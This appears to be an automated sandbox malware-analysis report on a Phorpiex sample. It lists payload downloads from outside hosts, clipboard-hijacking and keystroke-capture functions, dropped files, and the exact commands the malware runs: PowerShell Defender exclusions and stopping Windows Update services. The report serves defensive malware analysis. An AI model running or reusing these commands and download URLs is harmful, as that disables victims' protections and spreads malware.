Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic HTTP traffic detected: GET /dwntbl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000130E000.00000004.00000020.00020000.00000000.sdmp, Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000135B000.00000004.00000020.00020000.00000000.sdmp, 33080.scr, 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 33080.scr, 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, 33080.scr, 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, sysppvrdnvs.exe, 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 818921588.exe, 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, 818921588.exe, 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, tdrpl[1].exe.0.dr, sysppvrdnvs.exe.1.dr, 33080.scr.0.dr, 818921588.exe.2.dr String found in binary or memory: http://185.215.113.66/
Source: sysppvrdnvs.exe, 00000002.00000003.1903798515.0000000000688000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.66/1
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000064A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.66/1C:
Source: sysppvrdnvs.exe, 00000002.00000003.1903094197.0000000000688000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1903798515.0000000000688000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.66/1G0td
Source: sysppvrdnvs.exe, 00000002.00000003.1936945817.00000000006BA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.66/1JJC:
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.0000000000688000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.66/1LMEM0P
Source: sysppvrdnvs.exe, 00000002.00000003.1937078841.0000000000699000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.66/1aenh.dll
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000069F000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1937078841.000000000069F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.66/1uK
Source: sysppvrdnvs.exe, 00000002.00000002.2003916309.0000000002EEC000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.66/2
Source: sysppvrdnvs.exe, 00000002.00000002.2003916309.0000000002EEC000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.66/2(Bf
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000064A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.66/2C:
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.00000000006BA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.66/2JJC:
Source: 33080.scr, 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 33080.scr, 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, 33080.scr, 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, sysppvrdnvs.exe, 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 818921588.exe, 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, 818921588.exe, 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, tdrpl[1].exe.0.dr, sysppvrdnvs.exe.1.dr, 33080.scr.0.dr, 818921588.exe.2.dr String found in binary or memory: http://185.215.113.66/http://91.202.233.141/12345%s%s%s:Zone.Identifier%userprofile%%windir%%s
Source: sysppvrdnvs.exe String found in binary or memory: http://185.215.113.66/tdrp.exe
Source: 33080.scr, 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 33080.scr, 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, 33080.scr, 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, sysppvrdnvs.exe, 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 818921588.exe, 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, 818921588.exe, 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, tdrpl[1].exe.0.dr, sysppvrdnvs.exe.1.dr, 33080.scr.0.dr, 818921588.exe.2.dr String found in binary or memory: http://185.215.113.66/tdrp.exe%s:Zone.Identifier/c
Source: Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000130E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.66/tdrpl.exe
Source: Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000135B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.66/tdrpl.exeb1E
Source: Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000135B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.66/tdrpl.exek1L
Source: Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000130E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.66/tdrpl.exer
Source: 33080.scr, 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 33080.scr, 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, 33080.scr, 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, sysppvrdnvs.exe, 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 818921588.exe, 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, 818921588.exe, 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, tdrpl[1].exe.0.dr, sysppvrdnvs.exe.1.dr, 33080.scr.0.dr, 818921588.exe.2.dr String found in binary or memory: http://91.202.233.141/
Source: sysppvrdnvs.exe, 00000002.00000003.1937078841.000000000069F000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000002.2004958997.0000000005B0D000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.141/dwntbl
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000061E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.141/dwntbl2C
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000064A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.141/dwntblan
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.0000000000688000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.141/dwntblhy
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000061E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.141/dwntbllvCkd
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000064A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.141/dwntblt-InLMEMH
Source: 818921588.exe.2.dr String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 818921588.exe.2.dr String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000136A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_00404970 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard, 1_2_00404970
Contains functionality to modify clipboard data
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_00404970 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard, 1_2_00404970
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_00404970 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard, 2_2_00404970
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_00404970 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard, 17_2_00404970
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_004059B0 GetWindowLongW,SetClipboardViewer,SetWindowLongW,SetWindowLongW,SendMessageA,IsClipboardFormatAvailable,IsClipboardFormatAvailable,IsClipboardFormatAvailable,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,SendMessageA,RegisterRawInputDevices,ChangeClipboardChain,DefWindowProcA, 1_2_004059B0
Installs a raw input device (often for capturing keystrokes)
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_004059B0 GetWindowLongW,SetClipboardViewer,SetWindowLongW,SetWindowLongW,SendMessageA,IsClipboardFormatAvailable,IsClipboardFormatAvailable,IsClipboardFormatAvailable,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,SendMessageA,RegisterRawInputDevices,ChangeClipboardChain,DefWindowProcA, 1_2_004059B0

Spam, unwanted Advertisements and Ransom Demands
barindex
Yara detected Phorpiex
Source: Yara match File source: 18.0.818921588.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.0.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.33080.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.33080.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.818921588.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 33080.scr PID: 7112, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sysppvrdnvs.exe PID: 3060, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sysppvrdnvs.exe PID: 4628, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 818921588.exe PID: 1516, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe, type: DROPPED
Source: Yara match File source: C:\Windows\sysppvrdnvs.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\33080.scr, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\818921588.exe, type: DROPPED
Contains functionality to call native functions
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_0040FB45 NtQueryVirtualMemory, 1_2_0040FB45
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_0040DF20 NtQuerySystemTime,RtlTimeToSecondsSince1980, 1_2_0040DF20
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_0040FB45 NtQueryVirtualMemory, 2_2_0040FB45
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_0040DF20 NtQuerySystemTime,RtlTimeToSecondsSince1980, 2_2_0040DF20
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_0040FB45 NtQueryVirtualMemory, 17_2_0040FB45
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_0040DF20 NtQuerySystemTime,RtlTimeToSecondsSince1980, 17_2_0040DF20
Creates files inside the system directory
Source: C:\Users\user\AppData\Local\Temp\33080.scr File created: C:\Windows\sysppvrdnvs.exe Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_004084D0 1_2_004084D0
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_004084F9 1_2_004084F9
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_00404090 1_2_00404090
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_0040AEB0 1_2_0040AEB0
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_00404970 1_2_00404970
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_0040F908 1_2_0040F908
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_004084D0 2_2_004084D0
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_004084F9 2_2_004084F9
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_00404090 2_2_00404090
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_0040AEB0 2_2_0040AEB0
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_00404970 2_2_00404970
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_0040F908 2_2_0040F908
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_004084D0 17_2_004084D0
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_004084F9 17_2_004084F9
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_00404090 17_2_00404090
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_0040AEB0 17_2_0040AEB0
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_00404970 17_2_00404970
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_0040F908 17_2_0040F908
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe 9EAAADF3857E4A3E83F4F78D96AB185213B6528C8E470807F9D16035DAADF33D
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\33080.scr 9EAAADF3857E4A3E83F4F78D96AB185213B6528C8E470807F9D16035DAADF33D
Uses 32bit PE files
Source: Bjl3geiFEK.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: classification engine Classification label: mal100.troj.evad.winEXE@27/15@0/7
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_00406F70 Sleep,GetModuleFileNameW,GetVolumeInformationW,GetDiskFreeSpaceExW,_aulldiv,wsprintfW,wsprintfW,wsprintfW,Sleep,ExitThread, 1_2_00406F70
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_00406660 CoInitialize,CoCreateInstance,wsprintfW,wsprintfW, 1_2_00406660
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\sysppvrdnvs.exe Mutant created: \Sessions\1\BaseNamedObjects\mmn7nnm8na
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4592:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3236:120:WilError_03
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe File created: C:\Users\user\AppData\Local\Temp\33080.scr Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Command line argument: 778g87b7b8787b7 0_2_004B10B0
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Command line argument: 778g87b7b8787b7 0_2_004B10B0
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Command line argument: 778g87b7b8787b7 0_2_004B10B0
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Command line argument: 778g87b7b8787b7 0_2_004B10B0
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Command line argument: %s\%s 0_2_004B10B0
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Command line argument: %s\%d%s 0_2_004B10B0
Source: Bjl3geiFEK.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\Bjl3geiFEK.exe "C:\Users\user\Desktop\Bjl3geiFEK.exe"
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Process created: C:\Users\user\AppData\Local\Temp\33080.scr "C:\Users\user\AppData\Local\Temp\33080.scr" /S
Source: C:\Users\user\AppData\Local\Temp\33080.scr Process created: C:\Windows\sysppvrdnvs.exe C:\Windows\sysppvrdnvs.exe
Source: C:\Windows\sysppvrdnvs.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\sysppvrdnvs.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop UsoSvc
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop wuauserv
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop DoSvc
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop BITS /wait
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown Process created: C:\Windows\sysppvrdnvs.exe "C:\Windows\sysppvrdnvs.exe"
Source: C:\Windows\sysppvrdnvs.exe Process created: C:\Users\user\AppData\Local\Temp\818921588.exe C:\Users\user\AppData\Local\Temp\818921588.exe
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Process created: C:\Users\user\AppData\Local\Temp\33080.scr "C:\Users\user\AppData\Local\Temp\33080.scr" /S Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr Process created: C:\Windows\sysppvrdnvs.exe C:\Windows\sysppvrdnvs.exe Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE" Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Process created: C:\Users\user\AppData\Local\Temp\818921588.exe C:\Users\user\AppData\Local\Temp\818921588.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop UsoSvc Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop WaaSMedicSvc Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop wuauserv Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop DoSvc Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop BITS /wait Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: srvcli.dll Jump to behavior
